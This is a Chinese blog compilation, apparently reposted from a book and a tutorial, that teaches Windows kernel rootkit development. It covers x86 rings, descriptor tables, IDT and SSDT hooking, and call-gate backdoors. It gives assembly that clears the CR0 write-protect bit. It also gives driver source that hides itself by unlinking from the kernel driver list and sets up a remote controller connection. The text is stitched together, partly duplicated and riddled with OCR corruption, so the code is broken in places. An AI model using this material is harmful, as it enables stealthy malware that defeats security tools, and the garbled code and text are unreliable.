会被信任,这意味着任何程序的崩溃都可能导致整个系统随之崩溃,任何程序都能够读写硬件、访问任


意文件,或修改其他进程的内存。这听起来很熟悉,即使Intel系列处理器具有访问控制能力的历史已有


多年,但是微软公司直到发布Windows NT之后才利用了这些能力。


4.1 环0级


Intel x86微芯片系列使用环概念来实施访问控制,环有4个级别:环0是最高权限的,环3是最低权限的


。每个环都内部保存为一个数字,微芯片上实际并没有真正的物理环。


Windows操作系统中的所有内核代码都在环O级别上运行。因此,在内核中运行的rootkit也被看作是在环


O级别上运行。不在内核中运行的用户模式程序(例如电子制表软件程序)有时称为环3级程序。包括


Windows和Linux在内的许多操作系统在Intel x86微芯片上只使用环O和环3,而不使用环1和环2。由于系


统中环0的权限最高,能力最强大,因此对于rootkit开发者来说,宣称自己的代码在环0级别上运行是一


种自豪的展示。


CPU负责跟踪为软件代码和内存分配环的情况,并在各环之间实施访问限制。通常,每个软件程序都会获


得一个环编号,它不能访问任何具有更小编号的环。例如,环3的程序不能访问环0的程序,若环3的程序


试图访问环0的内存,则CPU将发出一个中断。在多数情况下,操作系统将不会允许这种访问,该访问尝


试甚至会导致攻击程序的终止。


大量代码在幕后控制着这种访问限制,也有一些代码允许程序存特定环境下访问更低编号的环。例如,


为了将打印机驱动程序加载到内核中,管理员程序(环0级)需要访问被加载的设备驱动程序(在环O级


的内核中)。然而,内核模式的rootkit加载后,它的代码在环O级别上执行,这些访问限制将不再是问


题。


许多可能检测到rootkit的工具都作为管理员程序在环3级别上运行,rootkit开发者应该理解如何利用


rootkit的权限高于管理工具这个事实。例如,rootkit可以使用该事实来向工具隐藏自身或导致工具失


效。另外,rootkit通常是由加载程序来安装,这些加载程序是环3级的应用程序,为了将rootkit加载到


内核中,这些加载程序使用了特殊的函数调用,使得它们能够访问环0级别。


除了内存访问限制之外,还存在着其他安全机制。某些指令是具有特权的,只能在环0级使用。这些指令


通常用于更改CPU的行为,或者直接访问硬件。例如,下列x86指令只允许在环O级别上:

cli—停止中断的处理(在当前CPU上)
sti—启动中断的处理(在当前CPU上)
in—从硬件端口读出数据
out—将数据写入硬件端口

在环0级别上执行rootkit有许多好处,这样的rootkit不仅能够操纵硬件,还能够操纵其他软件的运行环


境,这对于在计算机上进行潜行操作是关键的。


在讨论了CPU如何实施访问控制之后,下面分析CPU如何对重要数据进行跟踪。


4.2 CPU表和系统表


CPU除了负责跟踪环的信息之外,还负责制定其他许多决策。例如,CPU必须决定当中断发生、软件程序


崩溃、硬件发出注意信号、用户模式的程序试图与内核模式的程序通信,以及多线程程序切换线程时需


要执行的动作。显然操作系统代码必须处理这类事情,但总是CPU最先处理它们。


对于每个重要事件,CPU必须指出处理该事件所用的软件例程。由于所有软件例程都存在于内存中,因此


CPU有必要存储重要软件例程的地址。更具体地,CPU需要知道在什么位置可以找到重要软件例程的地址


。CPU内部无法存储所有地址,因此它必须对其取值进行查询,这个操作通过地址表完成。当中断等事件


发生时,CPU在一个表中查询该事件,并寻找处理该事件的某个软件的相应地址,CPU需要的唯一信息是


这些表在内存中的基地址。


有许多重要的CPU表,包括:


全局描述符表(Global Descriptor Table,GDT),用于映射地址。
本地描述符表(Local Descriptor Table,LDT),用于映射地址。
页目录(Page Directory),用于映射地址。
LIJ断描述符表(lnterrupt Descriptor Table,IDT),用于寻找中断处理程序。


除了CPU表之外,操作系统本身也保存一批表。CPU不直接支持这些由OS实现的表,因此OS通过特殊功能


和代码来管理它们。其中一个重要的表是:


系统服务调度表(System Service Dispatch Table,SSDT)


Windows OS用于处理系统调用这些表具有多种使用方式,以下各节介绍这些表并分析它们是如何工作的


,并且针对rootkit开发者为了提供潜行操作或捕获数据如何修改或钩住这些表给出了一些建议。


四、硬件相关问题


软件和硬件是形影不离的。没有软件,硬件只是毫无生命力的硅晶体;而没有硬件,软件也无法存在,


软件最终控制着计算机,但在表象之下却是由硬件实现了软件代码。


另外,硬件是软件安全的最终实施部件。没有硬件支持,软件将是彻底不安全的,许多资料在介绍软件


开发时都不曾提及过底层硬件,这对于企业应用的开发者来说也许已足够,但对于rootkit开发者来说还


不行,rootkit开发者需要面对逆向工程问题、手工编码的汇编语言,以及对系统上的软件工具的高技术


性攻击,理解底层硬件有助于解决这些难题。


所有的访问控制最终都是由硬件实现的,例如,流行的进程隔离(process separation)概念在Intel x86


硬件上通过“环(ring)”机制来实施。若Intel的CPU没有访问控制机制,则所有在系统上执行的软件都


会被信任,这意味着任何程序的崩溃都可能导致整个系统随之崩溃,任何程序都能够读写硬件、访问任


意文件,或修改其他进程的内存。这听起来很熟悉,即使Intel系列处理器具有访问控制能力的历史已有


多年,但是微软公司直到发布Windows NT之后才利用了这些能力。


4.1 环0级


Intel x86微芯片系列使用环概念来实施访问控制,环有4个级别:环0是最高权限的,环3是最低权限的


。每个环都内部保存为一个数字,微芯片上实际并没有真正的物理环。


Windows操作系统中的所有内核代码都在环O级别上运行。因此,在内核中运行的rootkit也被看作是在环


O级别上运行。不在内核中运行的用户模式程序(例如电子制表软件程序)有时称为环3级程序。包括


Windows和Linux在内的许多操作系统在Intel x86微芯片上只使用环O和环3,而不使用环1和环2。由于系


统中环0的权限最高,能力最强大,因此对于rootkit开发者来说,宣称自己的代码在环0级别上运行是一


种自豪的展示。


CPU负责跟踪为软件代码和内存分配环的情况,并在各环之间实施访问限制。通常,每个软件程序都会获


得一个环编号,它不能访问任何具有更小编号的环。例如,环3的程序不能访问环0的程序,若环3的程序


试图访问环0的内存,则CPU将发出一个中断。在多数情况下,操作系统将不会允许这种访问,该访问尝


试甚至会导致攻击程序的终止。


大量代码在幕后控制着这种访问限制,也有一些代码允许程序存特定环境下访问更低编号的环。例如,


为了将打印机驱动程序加载到内核中,管理员程序(环0级)需要访问被加载的设备驱动程序(在环O级


的内核中)。然而,内核模式的rootkit加载后,它的代码在环O级别上执行,这些访问限制将不再是问


题。


许多可能检测到rootkit的工具都作为管理员程序在环3级别上运行,rootkit开发者应该理解如何利用


rootkit的权限高于管理工具这个事实。例如,rootkit可以使用该事实来向工具隐藏自身或导致工具失


效。另外,rootkit通常是由加载程序来安装,这些加载程序是环3级的应用程序,为了将rootkit加载到


内核中,这些加载程序使用了特殊的函数调用,使得它们能够访问环0级别。


除了内存访问限制之外,还存在着其他安全机制。某些指令是具有特权的,只能在环0级使用。这些指令


通常用于更改CPU的行为,或者直接访问硬件。例如,下列x86指令只允许在环O级别上:

cli—停止中断的处理(在当前CPU上)
sti—启动中断的处理(在当前CPU上)
in—从硬件端口读出数据
out—将数据写入硬件端口

在环0级别上执行rootkit有许多好处,这样的rootkit不仅能够操纵硬件,还能够操纵其他软件的运行环


境,这对于在计算机上进行潜行操作是关键的。


在讨论了CPU如何实施访问控制之后,下面分析CPU如何对重要数据进行跟踪。


4.2 CPU表和系统表

CPU除了负责跟踪环的信息之外,还负责制定其他许多决策。例如,CPU必须决定当中断发生、软件程序

崩溃、硬件发出注意信号、用户模式的程序试图与内核模式的程序通信,以及多线程程序切换线程时需

要执行的动作。显然操作系统代码必须处理这类事情,但总是CPU最先处理它们。

对于每个重要事件,CPU必须指出处理该事件所用的软件例程。由于所有软件例程都存在于内存中,因此

CPU有必要存储重要软件例程的地址。更具体地,CPU需要知道在什么位置可以找到重要软件例程的地址

。CPU内部无法存储所有地址,因此它必须对其取值进行查询,这个操作通过地址表完成。当中断等事件

发生时,CPU在一个表中查询该事件,并寻找处理该事件的某个软件的相应地址,CPU需要的唯一信息是

这些表在内存中的基地址。

有许多重要的CPU表,包括:


全局描述符表(Global Descriptor Table,GDT),用于映射地址。
本地描述符表(Local Descriptor Table,LDT),用于映射地址。
页目录(Page Directory),用于映射地址。
LIJ断描述符表(lnterrupt Descriptor Table,IDT),用于寻找中断处理程序。


除了CPU表之外,操作系统本身也保存一批表。CPU不直接支持这些由OS实现的表,因此OS通过特殊功能


和代码来管理它们。其中一个重要的表是:

系统服务调度表(System Service Dispatch Table,SSDT)

Windows OS用于处理系统调用这些表具有多种使用方式,以下各节介绍这些表并分析它们是如何工作的

,并且针对rootkit开发者为了提供潜行操作或捕获数据如何修改或钩住这些表给出了一些建议。

4.4 内存描述符表

CPU用束跟踪信息的一种表中可以包含描述符。描述符有多种类型,它们可以由rootkit插入或修改。

4.4.1 全局描述符表

通过GDT(Global Descriptor Table)全局描述符表,可以实现大量技巧。GDT 可以用于映射不同的地址

范围,也可导致任务切换,通过SGDT指令可以发现GDT的基地址,通过LGDT指令町以更改GDT的位置。

4.4.2 本地描述符表

LDT(Local Descriptor Table)本地描述符表,允许每个任务拥有唯一的描述符**。当指定一个段时,表


指示符位(table-indicator bit)可以在GDT和LDT之问进行选择,LDT可以包含和GDT相同类型的描述符。


4.4.3 代码段


在访问代码内存时,CPU使用在代码段(Code Segment,CS)寄存器中指定的段,代码段可以在描述符表中


加以指定。任何程序,包括rootkit,都可以通过执行far call、far jump或far return指令来修改CS寄


存器,其中CS从堆栈顶部弹出。令人感兴趣的是,只需将描述符中的R位设置为O就可以执行代码。


4.4.4 调用门


在LDT和GDT中可以放置一种特殊的描述符,称为调用门(call gate)。如果将描述符设置为调用门,程序

可以执行段间调用(far call),当该调用发生时,可以指定一个新的环级别。调用门允许用户模式程序

通过执行函数调用进入内核模式,这对于rootkit程序来说是一个令人感兴趣的后门。同样的机制可用于

段间跳转(far jump),但只有当调用门的权限级别等于或低于执行跳转的进程时才能进行这种操作。

当使用了调用门时,会忽略地址——只有描述符编号起作用。调用门的数据结构会将被调用函数的代码

位置告知CPU,可以选择性的从堆栈中读取参数。例如,可以创建一个调用门,使得调用者将秘密命令参

数放到堆栈上。

4.5 中断描述符表

中断描述符表寄存器(Interrupt Descriptor Table Register,IDTR)可以存储中断描述符表(Interrupt 

Descriptor Table,IDT)在内存中的基地址(起始地址)。IDT用于查找处理中断所用的软件函数,它是

非常重要的,计算机中大量的低层功能都使用了中断。例如,每当键盘上进行击键就产生中断信号。


IDT是一个由256项组成的数组——每个中断对应其一项,这意味着每个处理器至多支持256个中断。另外


,每个处理器拥有自己的IDTR,因此也拥有自己的中断表。若计算机包含多个CPU,则部署在该计算机上


的rootkit必须考虑到每个CPU都有自己的中段表。


当中断发生时,可以从中断指令或可编程中断控制器(Programmable Interrupt Controller,PIC)中获


取中断编号。在这两种情况下,都通过中断表寻找要调用的软件函数,该函数有时称为向量(vector)或


中断服务例程(Interrupt Service Routine,ISR)。


如果处理器处于保护模式中,则中断表是由256个8字节项组成的数组,每项包含ISR地址以及其他一些与


安全相关的信息。


为了获得中断表的内存地址,必须读取IDTR。这由SIDT(Store Interrupt Descriptor Table)指令完,


也可通过LIDT(Load Interrupt Descriptor Table)指令修改IDTR的内容。


rootkit所用的一种技巧是创建一个新的中断表,通过它隐藏对原始中断表进行的修改。病毒扫描仪能够


检查原始IDT的完整性,但rootkit可以制作IDT的副本,修改IDTR,然后可以惬意地在无法检测到的情况


下.对复制的IDT进行修改。


SIDT指令以如下格式存储IDTR的内容:
★ /* sidt returns idt in this format */
typedef struct
{
unsigned short IDTLimit;
unsigned short LowIDTbase;
unsigned short HiIDTbase;
} IDTINFO;

攻击者通过SIDT指令所提供的数据能够找到IDT的基地址并转储它的内容。要记住IDT最多包含256项,其


中每项都包含一个中断服务例程的指针,各项的结构如:



// entry in the IDT: this is sometimes called
// an "interrupt gate"
#pragma pack(l)
typedef struct
{
unsigned short LowOffset;
unsigned short selector;
unsigned char unused_lo;
unsigned char segment_type:4; //0x0E is interrupt gate
unsigned char system_segment flag:l;
unsigned char DPL:2; //descriptor privilege level
unsigned char P:l; // present
unsigned short HiOffset;
} IDTENTRY;
#pragma pack()

该数据结构有时称为中断门(interrupt gate),用于在内存中定位处理中断事件的函数。通过中断门,


用户模式的程序可以调用内核模式的例程。例如,一个系统调用中断的目标位于IDT表中的偏移量0x2E处





系统调用在内核模式中处理,尽管可以从用户模式中对其进行初始化,其他的中断门可以作为后门由


rootkit放置,rootkit也可以钩住现有的中断门。


可以使用以下代码示例作为访问IDT的向导:
★ 
#define MAKELONG(a, b)
( (unsigned long) (((unsigned short) (a)) | ((unsigned long) ((unsigned
short) (b))) << 1 6))

IDT中的最大项数是256。


●#define MAX_IDT_ENTRIES 0xFF●


出于示例目的,在示例rootkit的DriverEntry例程中实现了分析器。

NTSTATUS DriverEntry(IN PDRIVER_OBJECT theDriverObject,
IN PUNICODE_STRING theRegistryPath )
{
IDTINFO idt_info; // this structure is obtained by
// calling STORE IDT ( sidt)
IDTENTRY* idt_entries; // and then this pointer is
// obtained from idt_info
unsigned long count;
// load idt_info
___asm sidt, idt_info

使用SIDT指令返回的数据来获取IDT的基地址,然后遍历每一项,并将一些数据显示到调试输出信息中。

idt entries = (IDTENTRY*)
MAKELONG (idt_info.LowIDTbase, idt_info. HiIDTbase);
for (count = 0;count <= MAX_IDT_ENTRIES;count++)
char t [255];
IDTENTRY *i = &idt_entries[count];
unsigned long addr = 0;
addr = MAKELOblG (i一>LowOffset, i >HiOffset) ;
_snprintf (_t,
253,
"Interrupt %d: ISR 0x%08X", count, addr);
DbgPrint (-t) ;
return STATUS SUCCESS;
}

上述代码示例解释了如何分析IDT。对IDT并没有进行实际修改。然而,这些代码很容易演化成更复杂工


具的基础。


除了中断门之外,IDT还可以包含任务门(task gate)和陷阱门(trap gate)。陷阱门与中断门的区别只在


于它能够被可屏蔽中断所中断,而中断门则不能。另一方面,任务门是一个非常过时的处理器特性,它


可以用于强制x86处理器的任务切换。由于Windows并不使用该特性,因此这里不对其进行示例讲解。


在Windows操作系统中不应将任务与进程相混淆。x86 CPU的任务是通过任务切换段(Task Switch 


Segment,TSS)一种最初用于通过硬件执行任务管理的工具来管理的。Linux、Windows以及其他许多OS都


通过软件实现任务切换,大多数情况下并不使用底层硬件机制。


4.6 系统服务调度表


系统服务调度表用于查询处理特定系统调用的函数。该工具在操作系统而不是CPU中实现。程序有两种执


行系统调用的方式:使用中断0x2E,或者使用SYSENTER指令。


在Windows XP及其后的系统上,程序通常使用SYSENTER指令,而较老的平台则使用中断0x2E。这两种机


制是完全不同的,尽管它们能够得到相同的结果。


执行系统调用会导致在内核中调用KiSystemService函数。该函数从EAX寄存器中读取系统调用的编号,


并在SSDT中查询该调用。该函数还将由EDX寄存器所指向的系统调用参数从用户模式堆栈中复制到内核模


式堆栈。某些rootkit会钩入这个处理过程之中以嗅探数据,更改数据参数或重定向系统调用。


4.7 控制寄存器


除了系统的各个表之外,还存在着一些控制CPU重要特性的特殊寄存器。rootkit可对它们加以利用。


4.7.1 控制寄存器O


控制寄存器包含一些控制处理器如何运作的数据位。例如,禁用内核-fJ内存访问保护机制的一种常见方


法就是修改控制寄存器CRO。


控制寄存器最初出现于低级的286处理器中,以前称为机器状态字(machine status word)。随着386处理


器系列的发布,重新将其命名为控制寄存器O(Control Register O,CRO)。直到486系列的处理器出现后


,CRO 中才添加了写保护(Write Protect,WP)位,WP位控制是否允许处理器写入标记为只读属性的内存


页。该位设置为O的话,会禁用内存的保护机制。这对于打算向OS数据结构中写入信息的内核rootkit来


说是非常重要的。


下列代码显示了如何使用 CRO技巧来禁用和重新启用内存保护机制。

// UN-protect memory
__asm
{
push eax
mov eax, CRO
and eax, OFFFEFFFFh
mov CRO, eax
pop eax
// do something
// RE-protect memory
__asm
{
push eax
mov eax, CRO
or eax. NOT OFFFEFFFFh
mov CRO, eax
pop eax
}

4.7.2 其他控制寄存器


还有4个控制寄存器用于管理处理器的其他功能。CRI是未使用的或未在文档中说明。CR2当处理器处于保


护模式时用于存储上一个导致页故障的地址。CR3存储页目录的地址。 CR4在Pentium系列(以及486的后


期版本)处理器中才实现,它处理的事务包括诸如何时启用虚拟8086模式——即何时在Windows NT上运


行旧的DOS程序。若启用厂该模式,处理器将自陷(trap)CLI、STI和INT等特权指令。这些额外的寄存器


对于rootkit来说通常是没有用处的。


4.7.3 EFlags寄存器


EFlags寄存器也是重要的。前先,它处理陷阱标志(trap flag)。如果设置了该标志,处理器将步进执行


。rootkit可以使用诸如步进执行之类的特性来检测调试器是否正在运行或向病毒扫描软件隐藏自身;通


过清除中断标志(interrupt flag),就可以禁用中断。另外,还可通过I/O Privilege Level来修改大多


数基于Intel的操作系统所采用的基于环的保护系统。
========

Rootkit隐形技术教程


一、综述 

本文将引领读者打造一个初级的内核级Rootkit,然后为其引入两种简单的隐形技术:进程隐形技术和文

件隐形技术。同时,为了让读者获得rootkit编程的相关经验,我们顺便介绍了rootkit的装载、卸载方


法,以及必不可少的测试技术。 


本文介绍的Rootkit的主要构件是一个设备驱动程序,所以我们首先了解一下我们的第一个rootkit。 


二、rootkit主体 


本节引入一个简单的rootkit实例,它实际上只给出了rootkit的主体框架,换句话说,就是一个设备驱


动程序。那么为什么要用设备驱动程序作为主体呢?很明显,因为在系统中,设备驱动程序和操作系统


一样,都是程序中的特权阶级——它们运行于Ring0,有权访问系统中的所有代码和数据。还有一点需要


说明的是,因为本例主要目的在于介绍rootkit是如何隐形的,所以并没有实现后门之类的具体功能,。 


我们将以源代码的形式说明rootkit,对着重介绍一些重要的数据结构和函数。下面,先给出我们用到的


第一个文件,它是一个头文件,名为Invisible.h,具体如下所示: 


//Invisible.h:我们rootkit的头文件 
#ifndef _INVISIBLE_H_ 
#define _INVISIBLE_H_ 


typedef BOOLEAN BOOL; 
typedef unsigned long DWORD; 
typedef DWORD* PDWORD; 
typedef unsigned long ULONG; 
typedef unsigned short WORD; 
typedef unsigned char BYTE; 


typedef struct _DRIVER_DATA 

LIST_ENTRY listEntry; 
DWORD unknown1; 
DWORD unknown2; 
DWORD unknown3; 
DWORD unknown4; 
DWORD unknown5; 
DWORD unknown6; 
DWORD unknown7; 
UNICODE_STRING path; 
UNICODE_STRING name; 
} DRIVER_DATA; 


#endif 


我们知道,应用软件只要简单引用几个文件如stdio.h和windows.h,就能囊括大量的定义。但这种做法


到了驱动程序这里就行不通了,原因大致有二条,一是驱动程序体积一般较为紧凑,二是驱动程序用途


较为专一,用到的数据类型较少。因此,我们这里给出了一个头文件Invisible.h,其中定义了一些供我


们的rootkit之用的数据类型。 


这里定义的类型中,有一个数据类型要提一下:双字类型,它实际上是一个无符号长整型。此外,


DRIVER_DATA是Windows 操作系统未公开的一个数据结构,其中含有分别指向设备驱动程序目录中上一个


和下一个设备驱动程序的指针。而我们这里开发的rootkit恰好就是作为设备驱动程序来实现,所以,只


要从设备驱动程序目录中将我们的rootkit(即驱动程序)所对应的目录项去掉,系统管理程序就看不到


它了,从而实现了隐形。 


上面介绍了rootkit的头文件,现在开始介绍rootkit的主体部分,它实际就是一个基本的设备驱动程序


,具体代码如下面的Invisible.c所示: 


// Invisible 


#include "ntddk.h" 
#include "Invisible.h" 
#include "fileManager.h" 
#include "configManager.h" 


// 全局变量 
ULONG majorVersion; 
ULONG minorVersion; 


//当进行free build时,将其注释掉,以防被检测到 
VOID OnUnload( IN PDRIVER_OBJECT pDriverObject ) 

DbgPrint("comint16: OnUnload called."); 


NTSTATUS DriverEntry( IN PDRIVER_OBJECT pDriverObject, IN PUNICODE_STRING 
theRegistryPath ) 

DRIVER_DATA* driverData; 


//取得操作系统的版本 
PsGetVersion( &majorVersion, &minorVersion, NULL, NULL ); 


// Major = 4: Windows NT 4.0, Windows Me, Windows 98 或 Windows 95 
// Major = 5: Windows Server 2003, Windows XP 或 Windows 2000 
// Minor = 0: Windows 2000, Windows NT 4.0 或 Windows 95 
// Minor = 1: Windows XP 
// Minor = 2: Windows Server 2003 


if ( majorVersion == 5 && minorVersion == 2 ) 

DbgPrint("comint16: Running on Windows 2003"); 

else if ( majorVersion == 5 && minorVersion == 1 ) 

DbgPrint("comint16: Running on Windows XP"); 

else if ( majorVersion == 5 && minorVersion == 0 ) 

DbgPrint("comint16: Running on Windows 2000"); 

else if ( majorVersion == 4 && minorVersion == 0 ) 



DbgPrint("comint16: Running on Windows NT 4.0"); 

else 

DbgPrint("comint16: Running on unknown system"); 



// 隐藏该驱动程序 
driverData = *((DRIVER_DATA**)((DWORD)pDriverObject 20)); 
if( driverData != NULL ) 

// 将本驱动程序的相应目录项从项驱动程序目录中拆下来 
*((PDWORD)driverData->listEntry.Blink) = (DWORD)driverData->listEntry.Flink; 
driverData->listEntry.Flink->Blink = driverData->listEntry.Blink; 



// 允许卸载本驱动程序 


pDriverObject->DriverUnload = OnUnload; 


// 为本Rootkit的控制器配置连接 
if( !NT_SUCCESS( Configure() ) ) 

DbgPrint("comint16: Could not configure remote connection.\n"); 
return STATUS_UNSUCCESSFUL; 



return STATUS_SUCCESS; 

========

相关链接

http://blog.csdn.net/zacklin/article/details/7779023
Trojan/Win32.TDSS.eyj[Rootkit]分析
  • 0
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值